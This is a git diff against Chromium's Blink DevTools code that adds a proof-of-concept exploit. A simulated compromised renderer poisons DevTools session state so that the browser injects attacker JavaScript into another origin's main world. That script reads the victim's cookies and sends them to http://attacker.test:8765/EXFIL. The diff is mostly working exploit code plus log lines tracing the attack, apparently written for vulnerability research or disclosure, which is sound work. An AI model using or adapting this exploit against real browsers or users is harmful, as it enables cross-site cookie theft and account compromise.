diff --git a/third_party/blink/renderer/core/inspector/devtools_session.cc b/third_party/blink/renderer/core/inspector/devtools_session.cc index c84e946e7c174..d9fcc7fa64c45 100644 --- a/third_party/blink/renderer/core/inspector/devtools_session.cc +++ b/third_party/blink/renderer/core/inspector/devtools_session.cc @@ -9,6 +9,11 @@ #include #include "base/compiler_specific.h" +// === POC: includes for compromised-renderer simulation === +#include "base/logging.h" +#include "third_party/blink/renderer/core/dom/document.h" +#include "third_party/blink/renderer/platform/weborigin/kurl.h" +// === END POC includes === #include "base/notreached.h" #include "base/task/sequenced_task_runner.h" #include "base/task/single_thread_task_runner.h" @@ -296,6 +301,101 @@ void DevToolsSession::DidCommitLoad(LocalFrame* frame, DocumentLoader*) { agents_[i]->DidCommitLoadForLocalFrame(frame); if (v8_session_ && agent_->inspected_frames_->Root() == frame) v8_session_->setSkipAllPauses(false); + + // ==================================================================== + // POC: Simulate a compromised renderer poisoning DevToolsSessionState. + // + // A renderer with arbitrary code execution holds host_remote_ (a Mojo + // associated remote to browser-process DevToolsSessionHost). It can + // call DispatchProtocolNotification with arbitrary 'updates'. The + // browser blindly merges these into session_state_cookie_ with zero + // validation (content/browser/devtools/devtools_session.cc:604-616). + // + // On cross-process navigation, the browser forwards the poisoned + // cookie to the victim renderer via AttachDevToolsSession. The victim + // renderer's InspectorPageAgent::Restore() reads enabled_=true and + // scripts_to_evaluate_on_load_ contains attacker JS, which is then + // evaluated in the victim's MAIN WORLD on document load. + // + // Trigger: only fires on pages with "attacker" in the URL. + // ==================================================================== + if (host_remote_.is_bound() && frame && frame->GetDocument()) { + String url = frame->GetDocument()->Url().GetString(); + if (url.find("attacker") != kNotFound) { + LOG(ERROR) << "[POC-ATTACKER] Compromised renderer at " << url.Utf8() + << " — poisoning DevToolsSessionState via " + "DispatchProtocolNotification"; + + // Build poisoned session-state updates. + auto updates = mojom::blink::DevToolsSessionState::New(); + + // Entry 1: "Page.2/" -> CBOR true (0xf5). + // This sets InspectorPageAgent::enabled_ = true so Restore() + // calls enable() -> AddInspectorPageAgent(this), wiring the + // agent into instrumenting_agents_ so DidCreateMainWorldContext + // probe fires. + { + Vector v; + v.push_back(0xf5); + updates->entries.Set(String("Page.2/"), std::move(v)); + } + + // Entry 2: "Page.7/1" -> CBOR STRING8(attacker_js). + // Populates scripts_to_evaluate_on_load_["1"]. When the victim + // document creates its main-world context, EvaluateScriptOnNewDocument + // calls v8_session_->evaluate(main_world_ctx, attacker_js). + { + // Payload: prove we are running in victim's main world by + // reading window.origin and document.cookie, then exfiltrate + // to the attacker-controlled HTTP server. + const char* js = + "(function(){" + " var o = window.origin;" + " var c = document.cookie;" + " console.error('[POC-UXSS] script executing in origin=' + o + " + " ' cookie=' + c);" + " if (o.indexOf('victim') !== -1) {" + " document.title = '[PWNED] ' + o;" + " var img = new Image();" + " img.src = 'http://attacker.test:8765/EXFIL?' +" + " 'origin=' + encodeURIComponent(o) +" + " '&cookie=' + encodeURIComponent(c);" + " }" + "})();"; + std::vector enc; + crdtp::cbor::EncodeString8( + crdtp::span(reinterpret_cast(js), + strlen(js)), + &enc); + Vector v; + for (uint8_t b : enc) { + v.push_back(b); + } + updates->entries.Set(String("Page.7/1"), std::move(v)); + } + + // Dummy notification body. The browser passes this through to the + // DevTools client without parsing (per the "renderer may be + // compromised" comment at devtools_session.cc:535-539). A bare + // JSON object is sufficient — the client may log a warning but + // ApplySessionStateUpdates has already run by then. + auto msg = mojom::blink::DevToolsMessage::New(); + { + std::string dummy = "{\"method\":\"POC.poisoned\"}"; + std::vector body(dummy.begin(), dummy.end()); + msg->data = {body}; + } + + // Send. This is the renderer->browser Mojo call that crosses the + // trust boundary with unvalidated 'updates'. + host_remote_->DispatchProtocolNotification(std::move(msg), + std::move(updates)); + + LOG(ERROR) << "[POC-ATTACKER] Poisoned state sent. Navigate to " + "victim.test to complete the attack."; + } + } + // ==================== END POC ==================== } void DevToolsSession::PaintTiming(Document* document, diff --git a/third_party/blink/renderer/core/inspector/inspector_page_agent.cc b/third_party/blink/renderer/core/inspector/inspector_page_agent.cc index 850f202cc4b80..c2ef2046c4980 100644 --- a/third_party/blink/renderer/core/inspector/inspector_page_agent.cc +++ b/third_party/blink/renderer/core/inspector/inspector_page_agent.cc @@ -35,6 +35,7 @@ #include #include "base/containers/span.h" +#include "base/logging.h" #include "base/numerics/safe_conversions.h" #include "build/build_config.h" #include "third_party/blink/public/common/frame/frame_ad_evidence.h" @@ -518,6 +519,17 @@ InspectorPageAgent::InspectorPageAgent( pending_script_injection_on_load_(script_to_evaluate_on_load) {} void InspectorPageAgent::Restore() { + // === POC observability: log when poisoned state is restored === + if (enabled_.Get() && !scripts_to_evaluate_on_load_.IsEmpty()) { + LOG(ERROR) << "[POC-VICTIM] InspectorPageAgent::Restore: enabled_=true " + "AND scripts_to_evaluate_on_load_ is non-empty — poisoned " + "session state was forwarded across the process boundary!"; + for (const String& key : scripts_to_evaluate_on_load_.Keys()) { + LOG(ERROR) << "[POC-VICTIM] script[" << key.Utf8() + << "] = " << scripts_to_evaluate_on_load_.Get(key).Utf8(); + } + } + // === END POC observability === if (enabled_.Get()) { enable(enable_file_chooser_opened_event_.Get()); } @@ -1076,6 +1088,12 @@ void InspectorPageAgent::EvaluateScriptOnNewDocument( ScriptState* script_state = nullptr; const String world_name = worlds_to_evaluate_on_load_.Get(script_identifier); if (world_name.empty()) { + // === POC observability: log main-world script injection === + LOG(ERROR) << "[POC-VICTIM] EvaluateScriptOnNewDocument: about to " + "evaluate script in MAIN WORLD of " + << frame.GetDocument()->Url().GetString().Utf8() + << " — script_id=" << script_identifier.Utf8(); + // === END POC observability === script_state = ToScriptStateForMainWorld(window->GetFrame()); } else if (DOMWrapperWorld* world = EnsureDOMWrapperWorld( &frame, world_name, true /* grant_universal_access */)) {